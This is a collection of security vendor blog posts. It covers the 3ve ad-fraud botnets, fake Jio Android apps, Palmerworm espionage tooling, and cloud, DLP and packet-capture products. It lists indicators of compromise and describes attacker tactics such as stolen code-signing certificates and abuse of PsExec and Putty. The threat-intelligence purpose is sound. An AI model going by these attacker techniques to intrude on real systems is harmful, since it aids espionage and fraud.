By following these fairly simple security measures, you can significantly increase your organizational security, focus on other more pressing security issues, and save playing whack-a-mole for the arcade.
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Operation Eversion: Eight Indicted in Law Enforcement Takedown
Symantec part of industry group that assisted FBI-led takedown against 3ve ad-fraud scam.
An FBI-led law enforcement takedown dubbed Operation Eversion has led to the indictment of eight defendants and the seizure of infrastructure associated with the 3ve ad-fraud scam. Symantec was involved in an industry group which assisted in the investigation by helping identify infrastructure used by the attackers.
3ve specializes in creating fake versions of legitimate websites in order to carry advertisements. It then drives fake traffic to these advertisements using infected computers. These fake visitors generate click-through revenue from the ads for the attackers.
Powered by botnets
3ve leveraged up to 700,000 infected computers and controlled over 1.7 million IP addresses at one point. Much of the fraudulent traffic was facilitated through botnets controlled by the Miuref (Trojan.Miuref) and Kovter (Trojan.Kotver) malware families.
The machines that used the Miuref botnet were located mostly in data centers and were tasked with browsing to counterfeit websites. When the websites were loaded into a browser, requests were made for ads to be placed on those pages. These data center computers used the Miuref botnet as a proxy to request the ads in order to hide the true location of the request.
Figure. Symantec detections of Miuref malware family by month. The low number of detections is consistent with the fact that the attackers behind the Miuref botnet mostly targeted data center computers rather than endpoint computers.
The Kovter component of the ad-fraud operation used the Kovter botnet to run a hidden instance of the Chrome web browser on infected computers. The browser was used to visit the counterfeit websites. Once loaded, they requested ads to be placed on the website pages.
Indicators of Miuref and Kovter infection
Miuref and Kovter are Trojans spread through malicious email attachments and drive-by downloads from infected websites.
Miuref loads several executable files onto infected computers. They may be found in one or more of the following locations:
%UserProfile%\AppData\Local\VirtualStore\lsass.aaa
%UserProfile%\AppData\Local\Temp\[RANDOM NAME].exe
%UserProfile%\AppData\Local\[RANDOM EIGHT-CHARACTER FOLDER NAME]\[ORIGINAL FILE NAME].exe
The HKEY_CURRENT_USER “Run” key is set to the path of one of the executables listed above:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\[PATH TO EXECUTABLE]\
Kovter infections are located mostly in the registry, but the following files may be found on infected computers:
%UserProfile\AppData\Local\Temp\[RANDOM] .exe/.bat
%UserProfile%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\[RANDOM]\[RANDOM FILENAME].exe
%UserProfile%\AppData\Local\[RANDOM]\[RANDOM].lnk
%UserProfile%\AppData\Local\[RANDOM]\[RANDOM].bat
Kovter is known to hide in the registry under:
HKEY_CURRENT_USER\Software\[RANDOM]\[RANDOM]
The keys appear like random values and contain scripts. In some cases, a user-agent string can be clearly identified. An additional key containing a link to a Bash script on the hard drive may be placed within the following registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Origins of Kovter
Kovter is an evolution of an older botnet known as Poweliks (Trojan.Poweliks). Like Kovter, Poweliks is a fileless threat that was developed from an earlier file-based variant, known at that time as Wowliks.
Like Kovter, Poweliks was mainly deployed as a click-fraud botnet. Infected computers would silently visit web pages in a hidden browser window and display advertisements in that window.
Protection/Mitigation
Symantec and Norton products protect against these threats as:
Trojan.Miuref
Trojan.Miuref.B
Trojan.Miuref.B!g1
Trojan.Kotver
If you believe you may be infected with Miuref or Kovter and are not a Symantec customer, you can use our free tool Norton Power Eraser to remove it from your system.
Threat Intelligence
Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on uses of the Kovter malware and how adversary groups have utilized this fileless threat in malicious advertising attacks.
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Optical Character Recognition (OCR) in the Cloud with Symantec’s DLP
The simple way to protect data in digital images stored in the cloud
Symantec DLP Cloud, part of Broadcom Software, now includes Optical Character Recognition (OCR) for all three DLP cloud services (CASB/REST, EMAIL, and WSS). The new capability is available to all DLP customers. It allows them to either extend their existing OCR policies and associated response rules to the cloud, or to create new policies. With these, customers can detect sensitive information embedded in images for email messages, attachments, and documents that contain such images in Cloud Detection Service for Email, Cloud Detection Service with CASB, and Cloud Detection Service with WSS. The OCR-in-Cloud service is now available with the DLP Cloud solution and comes at no additional cost to the customer.
The OCR detection technology used in DLP Cloud is the same capability that has been available in the on-premises DLP solution DLP version 15.0. As such, customers have been using the OCR detection capabilities in their on-premises deployment across many channels including DLP for Network (email, web, and network monitor) as well as DLP Network Discover. Customers with DLP Enforce version 15.7 and above will be able to connect to DLP-Cloud to use this OCR-in-Cloud service.
Key Benefits:
Better protection for image-based documents in DLP Cloud: Customers remain compliant with their data protection regulations for image-based documents.
Leveraging existing DLP policies: The OCR solution leverages existing DLP policies for Cloud. Prevents policy proliferation and simplifies policy maintenance.
Scalable and Elastic solution: Symantec-hosted OCR service auto-scales on load, providing an ultimate scalable solution to effectively accommodate changing customer traffic.
Increase protection, at no additional cost: Extend DLP protection to images by leveraging Symantec-hosted and managed cloud detection service at no additional cost.
Easily configurable OCR service: Customers can easily configure and enable OCR-cloud service through the self-service CMP portal.
How OCR-in-Cloud works
OCR-in-Cloud is a Symantec-hosted service available with the DLP-Cloud solution, and to any customer with a DLP cloud service. It is auto scalable to accommodate varying volumes of customer traffic.
When the service encounters messages (from Email, CASB, or WSS) containing images, or image documents or documents with embedded images, Symantec automatically performs OCR to extract text, and then apply existing DLP policies to protect customer data.
OCR in the Cloud is easy to set up. Being a cloud service, you don’t require a dedicated OCR Server. However, all data is centralized with OCR incident snapshots available in the Enforce Server administration console. These incident snapshots replicate the level of detail as for conventionally extracted text: the text excerpt is displayed, with the detected words highlighted. OCR incidents have visual indicators denoting with a cloud icon that the text came from OCR in the cloud, and a thumbnail of the original image.
Why do you need OCR-in-Cloud?
Enable Cloud Migration: As organizations embark on their cloud journey, gradually moving their documents and compute from on-premises into the cloud – their on-premises DLP detection capabilities need to also move to the cloud in order to remain compliant with data protection regulations. Being able to use existing Symantec DLP policies and detection capabilities avoids the need to create new policies that can hinder their cloud adoption.
Extend DLP Detection to Images: Existing DLP cloud customers want to expand their DLP protection beyond standard text-based documents, into document types that include digital images. OCR-In Cloud enables protection of data in images.
Use a single set of DLP policies: Existing DLP policies are leveraged by the OCR-in-cloud service to protect the DLP Cloud channel(s.) This helps customers easily manage and maintain policies for the on-prem and on-cloud DLP.
By leveraging this newly developed capability, Symantec’s DLP Cloud customers can remain compliant with their data protection regulations for image-based documents and reduce costs by leveraging Symantec-hosted and managed cloud detection service. The OCR-in-Cloud service provides enterprises continued protection by avoiding data loss from embedded images or image documents, while cutting support and operating costs. The service leverages existing policies which prevent policy proliferation due to this new capability and simplifies policy maintenance.
For more information about DLP OCR-in-Cloud, and additional Symantec Cloud features, please visit this page.
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Organizations Must Realign to Face New Cloud Realities
While cloud adoption is moving fast, many enterprises still underestimate the scale and complexity of cloud threats
Technology advancements often present benefits to humanity while simultaneously opening up new fronts in the on-going and increasingly complex cyber security battle. We are now at that critical juncture when it comes to the cloud: While the compute model has inherent security advantages when properly deployed, the reality is that any fast-growth platform is bound to see a proportionate increase in incidents and exposure.
The Cloud Security Alliance (CSA) is a global not-for-profit organization that was launched 10 years ago as a broad coalition to create a trusted cloud ecosystem. A decade later, cloud adoption is pervasive to the point of becoming the default IT system worldwide. As the ecosystem has evolved, so have the complexity and scale of cyber security attacks. That shift challenges the status quo, mounting pressure on organizations to understand essential technology trends, the changing threat landscape and our shared responsibility to rapidly address the resultant issues.
A decade later, cloud adoption is pervasive to the point of becoming the default IT system worldwide. As the ecosystem has evolved, so have the complexity and scale of cyber security attacks.
There are real concerns that organizations have not adequately realigned for the cloud compute age and in some cases, are failing to reinvent their cyber defense strategies. Symantec’s inaugural Cloud Security Threat Report (CSTR) is a landmark report that shines a light on the current challenges and provides a useful roadmap that can help organizations improve and mature their cloud security strategy. The report articulates the most pressing cloud security issues of today, clarifies the areas that should be prioritized to improve an enterprise security posture, and offers a reality check on the state of cloud deployment.
Cloud in the Fast Lane
What the CSTR reveals and the CSA can confirm is that cloud adoption is moving too fast for enterprises, which are struggling with increasing complexity and loss of control. According to the Symantec CSTR, over half (54%) of respondents agree that their organization’s cloud security maturity is not keeping pace with the rapid expansion of new cloud apps.
The report also revealed that enterprises underestimate the scale and complexity of cloud threats. For example, the CSTR found that most commonly investigated incidents included garden variety data breaches, DDOS attacks and cloud malware injections. However, Symantec internal data shows that unauthorized access accounts for the bulk of cloud security incidents (64%), covering both simple exploits as well as sophisticated threats such as lateral movement and cross-cloud attacks. Companies are beginning to recognize their vulnerabilities--nearly two thirds (65%) of CSTR respondents believe the increasing complexity of their organization’s cloud infrastructure is opening them up to entirely new and dangerous threat vectors.
For example, identity-related attacks have escalated in the cloud, making proper identity and access management the fundamental backbone of security across domains in a highly virtualized technology stack. The speed with which cloud can be “spun up” and the often-decentralized manner in which it is deployed magnifies human errors and creates vulnerabilities that attackers can exploit. A lack of visibility into detailed cloud usage hampers optimal policies and controls.
The report also revealed that enterprises underestimate the scale and complexity of cloud threats.
As CSA delved into this report, we found strong alignment with the best practices research and education we advocate. As the CSTR reveals, a Zero Trust strategy, building out a software-defined perimeter, and adopting serverless and containerization technologies are critical building blocks for a mature cloud security posture.
The CSTR also advises organizations to develop robust governance strategies supported by a Cloud Center of Excellence (CCoE) to rally stakeholder buy-in and get everyone working from the same enterprise roadmap. Establishing security as a continuous process rather than front-loading efforts at the onset of procurement and deployment is a necessity given the frenetic pace of change.
As the CSTR suggests and we can confirm, security architectures must also be designed with an eye towards scalability, and automation and cloud-native approaches like DevSecOps are essential for minimizing errors, optimizing limited man power and facilitating new controls.
While there is a clear strategy for securing cloud operations, too few companies have embarked on the changes. Symantec internal data reports that 85% are not using best security practices as outlined by the Center for Internet Security (CIS). As a result, nearly three-quarters of respondents to the CSTR said they experienced a security incident in cloud-based infrastructure due to this immaturity.
The CSTR is a pivotal first step in increasing that awareness.
The good news is that the users of cloud have a full portfolio of solutions, including multi-factor authentication, data loss prevention, encryption and identity and authentication tools, at their disposal to address cloud security threats along with new processes and an educated workforce. The bad news is that many users of cloud are not aware of the full magnitude of their cloud adoption, the demarcation of the shared responsibility model and the inclination to rely on outdated security best practices. The CSTR is a pivotal first step in increasing that awareness.
Cloud is and will continue to be the epicenter of IT, and increasingly the foundation for cyber security. Understanding how threat vectors are shifting in cloud is fundamental to overhauling and modernizing an enterprise security program and strategy. CSA recommends the Symantec CSTR report be read widely and we look forward to future updates to its findings.
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Out of Focus: Digital Privacy and the Ability to Hide Your Photo from Facial Recognition
As concern about privacy grows, we’ve developed ‘Privacy Filters’ that will let consumers protect their digital images from detection
I have been studying and developing technology to protect consumers and enterprises from data misuse for a quarter of a century, and yet when it comes to knowing just who or what services have my personal data, I’m all but clueless.
Even among other specialists in the field of digital privacy, I’m far from alone.
Such is the complex nature of the ever-expanding state of data use in 2019. As people share and upload more and more bits of information, and as an increasing number of devices watch and track us, it’s become almost impossible to know where data about us resides and, more importantly, what’s being done with it.
That’s where Symantec Research Labs (SRL) comes in. As the Global Head of SRL, my team works to figure out what security measures consumers and businesses will need in the coming years and then develops ways to arm them with technology designed to protect data. We all have the right for our data to be digitally protected – and that includes the vast amount of image data of ourselves spreading around the Web and getting identified by photo-recognition software.
Machine Learning and Protecting Facial Privacy
Over the past several years, I’ve had a team working on the various ways machine learning can be used that intersect with digital privacy. Machine leaning has plenty of useful applications, of course, which is why digital services rely on it as they seek to improve and personalize user experiences.
But these capabilities also make machine learning a useful tool for large-scale invasion of privacy which can have harmful consequences for users. A number of social media platforms are used to share pictures while their users are completely unaware that large-scale facial recognition can be used to identify and track them in such pictures. Services like findface.ru use facial recognition to identify individuals in uploaded pictures and has been allegedly used by law-enforcement agencies to crack-down on protestors and suppress individual liberty. The use of facial recognition technology for law-enforcement itself impacts civil liberties and a number of communities are questioning whether the utility provided by facial recognition outweighs the harm it can cause.
Fortunately, advanced machine learning classifiers that power facial recognition are not perfect and are susceptible to adversarial manipulations which add small-but-specific noise to the input to cause incorrect classification. In many cases, the manipulations required to fool a classifier are small enough to be perceived by humans.
In theory, people could not just employ such a Privacy Filter to stop social media platforms from detecting their images, but they could also use it maintain privacy from invasive environments or institutions.
Such manipulations can be found easily without requiring internal details of the system being fooled. While such attacks can have serious security implications on the reliability of the machine learning classifier, e.g. visual perception in self-driving cars, studying such adversarial techniques is how we came up with our ‘Privacy Filter,’ which lets users mask their digital portraits from facial recognition. Our Privacy Filter puts an adversarial technique to good use: adversarial noise is added to a picture – a pixel, say, or an overlay – that is invisible to the human eye; it also makes the new image unrecognizable to the machines. While the adversary is trying to avoid photo detection for bad purposes, our aim is to help consumers avoid detection for a good purpose, that of strengthening their digital privacy.
The implications of this are enormous. In theory, people could not just employ such a Privacy Filter to stop social media platforms from detecting their images, but they could also use it maintain privacy from invasive environments or institutions. With the ongoing rollout of 5G, and with 18 billion IoT devices expected to be in use worldwide by 2022, it’s safe to assume that devices will process images of your face far more times than already occurs today. And how many times that currently happens is anybody’s guess.
For now, our Privacy Filter is a research prototype that shows it’s possible to protect your image in a world ever more determined to photograph and identify you.
For the most part, people don’t seem overly bothered by services that recognize their photos. Indeed, the technology can be helpful – you upload a batch of photos and the software helps you organize your photos by recognizing the people.
But as is often the case with technological developments, what starts out as helpful eventually becomes a concern. Remember the Russian facial-recognition app FindFace that lets you photograph a stranger and then takes you to their social media profile? I can think of all sorts of reasons one would want their image masked from such a service. Today, FindFace markets itself to governments and businesses, and plenty of other facial-recognition apps exist to help people learn more about strangers. Law enforcement agencies the world over use facial recognition software, as does the oft-stalked Taylor Swift and, potentially, the stalkers themselves.
For now, our Privacy Filter is a research prototype that shows it’s possible to protect your image in a world ever more determined to photograph and identify you. We will begin testing it on black-box attacks on big services, and eventually we hope to add this to our privacy tools.
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Over 150 Fake Jio Android Apps Offer Free Data but Deliver Only Ads
Apps aggressively display advertisements and are designed to trick Jio users with offers of free data allowance boosts.
Symantec has uncovered 152 malicious Android apps being circulated online that claim to provide free data boosts for Jio customers. The apps masquerade as apps from Reliance Jio Infocomm Limited. Reliance Jio Infocomm Limited, also known as Jio, is the largest 4G network in India, with more than 300 million subscribers.
These 152 APKs were developed under 21 different package names, all of which claim to offer a free daily data allowance of 25 GB or 125 GB for a period of time ranging from just one day to one year. However, users who download these malicious apps will not receive any free data boosts; instead, their devices will be used to generate advertising revenue for the developers of the apps.
Jio customers with JioSecurity installed on their devices are protected from these malicious apps. JioSecurity, which is powered by Norton Mobile Security, is available to Jio customers for free from the MyJio app.
While the fake offers promised in these apps vary, the tricks they use to deceive users are quite similar.
Trick 1: The art of imitation
The icons used by the malicious apps are identical to that of the legitimate MyJio app (see Figure 1) and the names used are all variations of the legitimate app name (MyJio). These imitation tactics alone may be enough to fool many users into installing one of the fake apps. Coupled with the offer of a free data boost and it's easy to see how these fake apps could be tempting for users.
Figure 1. Selection of fake Jio app icons compared to the legitimate MyJio app icon (outlined in green)
Upon launching the malware, victims are greeted with a splash screen that also resembles the original app. The user is eventually shown the malware's main screen which shares the same user interface (UI) design and structure of its legitimate counterpart (Figure 2).
Figure 2. Left: Main screen of legitimate MyJio app. Right: Main screen of fake Jio app. Both apps share similar UI design and structure.
Trick 2: False impression of progress
On the fake app's main screen, the user is shown a dialog box or a text field, requesting the victim's cellphone number in order to activate the free data boost offer. After entering a 10-digit cell number—regardless of the validity of the entered number—a dummy loading spinner is shown, giving the victim the impression that a request is being made to a server to check their eligibility. In fact, the malicious app's source code shows that no real connections or processing is taking place while the spinner is displayed, and a sleep timer has been added to extend the time the spinner stays onscreen (Figure 4). After some time, the user is congratulated and informed that their number is eligible to receive the offer, after they follow some more instructions to activate it.
This ploy was used consistently by the malicious apps, always making victims think they are just one step away from getting that elusive offer.
Figure 3. Fake Jio app showing dummy loading spinner (left) followed by a congratulatory message (right) asking victim to proceed to "Activate This Offer"
Figure 4. The malicious app's source code shows no real connections or processing takes place while spinner is loading, and a sleep timer gives a false impression of progress
Trick 3: Spread the word
Next, victims are asked to share the app with 10 contacts via WhatsApp in order to activate the offer. Other variants of the malware ask victims to follow the developer's Instagram account or a Telegram group (which are listed in the app). There are also some versions that ask victims to share the app via SMS. Worse still, some of the apps don't even bother to ask the victim and just go ahead and send the SMS messages without the user's knowledge (Figure 6). The messages contain a link to download the malicious app and are sent to numbers in the victim's contact list.
Figure 5. Fake Jio app requesting victim to follow Instagram account (left), or to share the app via WhatsApp (right)
Figure 6. Source code shows app attempting to secretly send out SMS messages without user's consent
Trick 4: Aggressive advertisements
The malicious apps' final trick is displaying advertisements. Some variants attempt to trick the user into clicking on an advertisement in order to get the offer. Other versions spawn as many as 16 processes automatically to show different web pages to the victim. A more aggressive move still involves advertisements being spawned non-stop by some versions of the apps, which effectively results in an infinite loop of web pages popping up on the device.
Figure 7. Left: Fake Jio app tricks victims into clicking on advertisements to get the offer. Right: Another variant spawns multiple processes to show different advertisements
From January through June 2019, our telemetry shows that these fake apps were installed on more than 39,000 mobile devices, with the majority of them located in India. The total installation count of these apps, however, is likely to be much higher than 39,000 since victims are requested to share the apps with their friends and families.
Protection
Symantec and Norton products detect these apps as the following:
Android.Fakeapp
Mitigation
While the lure of free data boosts can be tempting, we advise users to always validate with the official parties through proper channels.
Stay protected from mobile risks and malware by taking these precautions:
Keep your software up to date.
Do not download apps from unfamiliar sites.
Only install apps from trusted sources.
Pay close attention to the permissions requested by apps.
Install the JioSecurity app to protect your device and data. JioSecurity is an advanced mobile security app powered by Norton Mobile Security. JioSecurity is available to Jio customers free of charge from the MyJio app or Jio.com.
Make frequent backups of important data.
Special thanks to John Hou and Liu Zhe for their help with this research.
Indicators of Compromise
Table 1. List of fake Jio APKs
APK SHA2 hash Package name
a4g.muko.bhadvo.jioprime_4g 250af63da1463ff5483cf1f97acc4f6c7384f7e228ae6e82751cb79c8cf0e28f
a4g.muko.bhadvo.jioprime_4g 2fb9da99afd0736567ca900e1aaf19fafdca1a9e0eec2b8c69f7fcc799baebcb
a4g.muko.bhadvo.jioprime_4g 9dfcfb6fed8b1f9136a841b4fe535dfb1c8de54622ba683b5e6ecf8ec992426c
a4g.muko.bhadvo.jioprime_4g ddf726bd6369c422e0ca3f8d9d10ff316674f8490b3a1e648c41281ad93167c3
a4g.my.afor.offer.myjiooffers 077cda0052f1baafc6431c1791b03d6e51b989a9e6b9e9e72cc28b885f03913c
a4g.my.afor.offer.myjiooffers 07f19961b59a93b4286e9a5be2b6803490b1819ceb710de4959d6a5ee401cd9a
a4g.my.afor.offer.myjiooffers 0b79591d394d2a1e6507aae55320f5a10635c54620df769b118d5e01d3df4dba
a4g.my.afor.offer.myjiooffers 0cfe274a55b84d184f7c5504893e457df678a47e2361c65930de971056277c2f
a4g.my.afor.offer.myjiooffers 611ec47394fdc7efa85ba1c33abc6e63bd3805cf0b0484afcce9b8171409c067
a4g.my.afor.offer.myjiooffers 68995253f1d6424297050c65d12f3ec79b8efbfd0f91568eb142f2e77bb75e2d
a4g.my.afor.offer.myjiooffers 7a9ff29eb64e27a37923f3cf4efd89c4e29a179dd7690536b1f5a8ada2e6e5c6
a4g.my.afor.offer.myjiooffers 928bcc3b54d7974ce7d9eb24d98d5d8167b6502cfcbd258647a2fb3f16e76db5
a4g.my.afor.offer.myjiooffers 9f432f4ff22729021099580b3bc75bdc3bf32cc0cc5e90df9f5c711f8147541f
a4g.my.afor.offer.myjiooffers a48fcd9c574b674ebf9677206676ebe081dfb21a91d25c7f55c4c197b0d31a85
a4g.my.afor.offer.myjiooffers c57d16adec9c4258462ee73b6621ea57bf7b033a77d483c9b8caa6bbcce29353
a4g.my.afor.offer.myjiooffers cc79865b42073c0ac5087c570b4dc3ab657e4bfd6bf483f64131e47620e322c8
a4g.my.afor.offer.myjiooffers e1b5dd5b21c93b0d0b1008cd8bfa801a1090236611a61775775bce03a10787b0
a4g.my.afor.offer.myjiooffers e1ccc7a8ade818b6bb74a135a8b70ea139ce2ca475c62fb9ceb7db2f07c81670
a4g.my.afor.offer.myjiooffers e7ae8d3660fa361838ead5c2f7b1dea989b4e7a41c3d239643d0f8ca661fd2ef
a4g.my.afor.offer.myjiooffers e7aef086f7438f0fe04d04e0e6a000ab1c3ebe9466a74765a8c1f68a0b5736ec
a4g.my.afor.offer.myjiooffers ffd1969b43619d63e0416aaec9c6c552be3fde41423dfd849bdc5c65399a5034
ambani.muki.joi.jioupdate 077d809fad0416d9522a7639bdb310f80da09a3377b38a408ccbb3fd9ccd2498
ambani.muki.joi.jioupdate 1c4f1e26e49f0782ec1a170e2a87f0b9ab0a7e5024691fc84b64be4582d6d68e
ambani.muki.joi.jioupdate 57bbe5b12d222c61aed67ef7b104e422173727af46ff59d04ca18bf23d733391
ambani.muki.joi.jioupdate a86e482012593d5bbc2277ffdf2e5d43650a0a57ce201bcb2db3b701b2155f7f
ambani.muki.joi.jioupdate ff1a4f1342c24fa1d44e88ff6e0e9b6cac59472335594bc29a3b65f3da9920e2
ambo.muko.chutyo.jio4g_prime 2385cc94c8161211b7b179e3bb9a8aaa5b67d6edbfdf23a1f8f091c59bcd09f5
ambo.muko.chutyo.jio4g_prime 3e4c1653cee9522c21f77a7bd4d1222a3b8d86c231165eba83a664a888a203ee
ambo.muko.chutyo.jio4g_prime 96e8a8dbd4d9e4104031b689cfef067e908f1dc6f727bb21f952e313a8b35976
ambo.muko.chutyo.jio4g_prime 98a67bb7d8765187bfa615fe8b33f8fa94bcb4c0460e652be4051ea5324c9b91
ambo.muko.chutyo.jio4g_prime dba05e99c9850767d4d5d3596f3bad6084568639556f1838c1dae1de3fb42fea
ambo.muko.chutyo.jio4g_prime e0e239f7d0d5e331fddbd87c666461481471bbb5224e59fd6333a8a193aa95b8
apnafds.time.aaya.myapplication a28ef69a4d1bacbfa41ce572322602e40be5800f95f483a39c23ba52e25e752a
apnafds.time.aaya.myapplication a8a142a4651606aaba151f72f1fe3fad5a0b4f2f7b7888413dc4df112ce3c90b
apnafds.time.aaya.myapplication aca859dcd527d74ced7a466caa134426bc0665451836f7da9cc2d8ac69718532
apnafds.time.aaya.myapplication b2a534fa5456d27b56e4968431a39ae6c3e864dc47d6710201827d004c1aefcc
apnafds.time.aaya.myapplication bdf9a9e962107987176a18596494ea7b50a6f2338c4516f910d3313a0acdcfc9
apnafds.time.aaya.myapplication d0459088eac5561759d5293887d915fab9fadbec952a6858c9e2865771b503f2
apnafds.time.aaya.myapplication fe1cbf6ee86e2c374f7bc6a13cf6232def06c76d6bc8c654b3d9173e5db08b72
bhadva.chromva.jio4goffers 1178a46fc847dd4dee30cc8d648bb1848fd69be23b2c52adb2586ce8c31acdfe
bhadva.chromva.jio4goffers 482561822f21b807cfc2809d5125ccc22d5fe49c59b0d26395572a36985bd4d7
bhadva.chromva.jio4goffers 7fb502ce2f6c8edcd4a801eeee4393c2b27d4988a7e1261df98facc7c72868ed
bhadva.chromva.jio4goffers 991b4ded04820306eb59e3086c967e7473b5f547b0a0c1003ca3347a84b4bef6
bhadva.chromva.jio4goffers ba0a5b1fa3460fb4b4a4cb6907f6f384acb312009df66eae94942e2a999400e1
bhadva.chromva.jio4goffers d3d8a1505549d876dbf95df8b00f623cd3074873231b3374a7dd7812de8ecc06
bhadva.chromva.jio4goffers ed1c02b3b39e5af561470a0f4e7fab227f6d7b826cbc46c1273bf1469ce6fb5c
choice.my.offer.myjiooffer d83755082ad0a421723299dce53516004d16709ba37b5d6ad1315f8fe426462d
er.upgrad.jio.jioupgrad 97137e7e9cd67c6032713d73724d6bc48cc047ab0fe80a718667333074df6e88
er.upgrad.jio.jioupgrader 039f1fe4b0bf032964d48ace4f3d71f1dce011fafc24ac9b39be59095be8c82c
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Table 2. List of Instagram accounts
URL
http://instagram.com/_u/india.tech.news
http://instagram.com/_u/myindianews
Table 3. Telegram account
URL
http://telegram.me/UnEthicalHacker
|
Packets Don’t Lie: Stronger Symantec Tools for the Network Incident Fight
Seeing is believing
There are many steps that businesses can take to ensure the security of their buildings and facilities: installing strong locks on doors, putting in alarms, and using thermal sensors that can detect motion for example. These go a long way toward making a building safer, and alerting authorities as soon as possible should bad actors manage to actually find a way inside a building.
But at Symantec, a division of Broadcom, we believe that while all of that is well and good, there are also some basic security measures that shouldn’t be overlooked. For example, cameras and digital video recording (DVR) equipment can catch criminals in the act, and help provide proof of who exactly broke into that facility—and more importantly, how. In the end, seeing is not only believing, it is understanding.
Packets Don’t Lie
The same concept can be applied to network security. Various threat detection and response (EDR, NDR, XDR, …) systems are currently getting a lot of attention, and along with prevention solutions, will remain an essential part of cyber security controls. But, to get to the end of a network attack investigation, the details that can only be provided by network forensic tools based on full packet capture are critical to know. Packets don’t lie. And like that physical security system that incorporates security cameras and video recordings into its operations, packet capture technology can lay out all the evidence of an attack for investigators to see.
The SANS Institute demonstrates the importance of network forensics in security investigations in a new white paper “Packets, or It Didn’t Happen: Network-Driven Incident Investigations.” In this paper, The SANS Institute looks at the necessity of having a full security and forensic solution, including packets, in order to provide the best-possible method of attack protection, prevention and assessment.
Alan Hall, Director of Product Marketing, for Symantec Network Information Security, will join in a discussion of the paper, during a SANS Institute webinar with SANS instructor and author, Jake Williams at 2 p.m., ET, on Thursday, May 20. Among the topics to be discussed will be how endpoint anti-forensic activities can be confirmed with packet capture-based network forensics.
Trust the Experts
Symantec’s expertise in such network security matters earned the company acknowledgement from analysis firm KuppingerCole as a Leader in Network Detection and Response in four categories—Innovation, Market, Product and Overall Leadership. In its report, KuppingerCole said that Symantec’s NDR solution is “top-notch, covering all the basics plus providing supports for advanced use cases requiring full packet decryption and analysis and sandboxing.”
At Symantec, we have lowered the barriers to entry with our Intelligent Capture functionality and made packet capture more cost effective, more relevant, and worth implementing now.
When it comes to hunting down threats on the network there is a greater volume of data to assess. But, with such data, investigators only have to deal with that which is relevant to their threat hunt. However, on the endpoint, everything from registries to file systems to running processes can act like a highway for bad actors to infiltrate enterprise systems. The endpoint offers a place for attackers to hide, but attackers there have to get on the network if they want to communicate or exfiltrate data. When it comes to data theft, it’s rare for endpoint forensics to determine what data was taken. But, to reiterate, packets never lie. An appropriate network traffic capture can provide answers to many of the questions regarding what was done on the endpoint.
The Real World
Let’s consider this in context of the recent cyber attack launched against the Colonial Pipeline. The 5,500-mile conduit, which connects the U.S. Gulf Coast to the Northeast and transports about 45% of the East Coast’s fuel, was taken offline on May 7 following a ransomware attack attributed to DarkSide according to the FBI. Thus far, using after-the-fact forensic techniques, investigators have been able to determine who the threat actors were and what data was affected. However, without pre-positioned network forensics, it will take a long time to understand how the attackers broke in, and remediation efforts will necessarily rely on exhaustive examination and strengthening of system controls. Simply put, network forensics is part of the fastest path to understanding not only the “who” and “what” of a cyber attack, but also the “how.”
When it comes to network forensics solutions, organizations have often felt implementing such projects was outside the scope of what they could afford and manage. At Symantec, we have lowered the barriers to entry with our Intelligent Capture functionality and made packet capture more cost effective, more relevant, and worth implementing now.
File Attachments
Download the SANS Whitepaper NowPDF2 MB
|
Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors
Companies in Japan, Taiwan, U.S., and China among victims.
The Threat Hunter Team at Symantec, a division of Broadcom (NASDAQ: AVGO), has uncovered a new espionage campaign carried out by the Palmerworm group (aka BlackTech) involving a brand new suite of custom malware, targeting organizations in Japan, Taiwan, the U.S., and China.
The attacks occurred in 2019 and continued into 2020, targeting organizations in the media, construction, engineering, electronics, and finance sectors. We observed the group using previously unseen malware in these attacks.
Palmerworm uses a combination of custom malware, dual use tools, and living-off-the-land tactics in this campaign. Palmerworm has been active since at least 2013, with the first activity seen in this campaign in August 2019.
Tactics, Tools, and Procedures
Palmerworm was observed using both dual-use tools and custom malware in these attacks.
Among the custom malware families we saw it use were:
Backdoor.Consock
Backdoor.Waship
Backdoor.Dalwit
Backdoor.Nomri
We have not observed the group using these malware families in previous attacks – they may be newly developed tools, or the evolution of older Palmerworm tools. Malware used by Palmerworm in the past has included:
Backdoor.Kivars
Backdoor.Pled
While the custom malware used by the group in this campaign is previously undocumented, other elements of the attack bear similarities to past Palmerworm campaigns, making us reasonably confident that it is the same group carrying out this campaign.
As well as the four backdoors mentioned, we also see the group using a custom loader and a network reconnaissance tool, which Symantec detects as Trojan Horse and Hacktool. The group also used several dual-use tools, including:
Putty – can be leveraged by attackers for remote access, to exfiltrate data and send it back to attackers
PSExec – is a legitimate Microsoft tool that can be exploited by malicious actors and used for lateral movement across victim networks
SNScan – this tool can be used for network reconnaissance, to find other potential targets on victim networks
WinRAR – is an archiving tool that can be used to compress files (potentially to make them easier to send back to attackers) and also to extract files from zipped folders
All these dual-use tools are commonly exploited by malicious actors like Palmerworm, with advanced persistent threat (APT) groups like this increasingly using living-off-the-land tactics, including the use of dual-use tools, in recent years. These tools provide attackers with a good degree of access to victim systems without the need to create complicated custom malware that can more easily be linked back to a specific group.
In this campaign, Palmerworm is also using stolen code-signing certificates to sign its payloads, which makes the payloads appear more legitimate and therefore more difficult for security software to detect. Palmerworm has been publicly documented using stolen code-signing certificates in previous attack campaigns.
We did not see what infection vector Palmerworm used to gain initial access to victim networks in this campaign, however, in the past the group has been documented as using spear-phishing emails to gain access to victim networks.
Victims
Symantec identified multiple victims in this campaign, in a number of industries, including media, construction, engineering, electronics, and finance. The media, electronics, and finance companies were all based in Taiwan, the engineering company was based in Japan, and the construction company in China. It is evident Palmerworm has a strong interest in companies in this region of East Asia.
We also observed Palmerworm activity on some victims in the U.S., however, we were unable to identify the sector of the companies targeted.
Palmerworm activity was first spotted in this campaign in August 2019, when activity was seen on the network of a Taiwanese media company and a construction company in China. The group remained active on the network of the media company for a year, with activity on some machines there seen as recently as August 2020.
Palmerworm also maintained a presence on the networks of a construction and a finance company for several months. However, it spent only a couple of days on the network of a Japanese engineering company in September 2019, and a couple of weeks on the network of an electronics company in March 2020. It spent approximately six months on one of the U.S.-based machines on which we observed activity.
Figure. The amount of time Palmerworm spent on the networks of companies in the different sectors varied from a year to just a few days
The finance, media, and construction industries, then, appear to be of the biggest interest to Palmerworm in this campaign. There have been reports previously of Palmerworm targeting the media sector.
What do the attackers want?
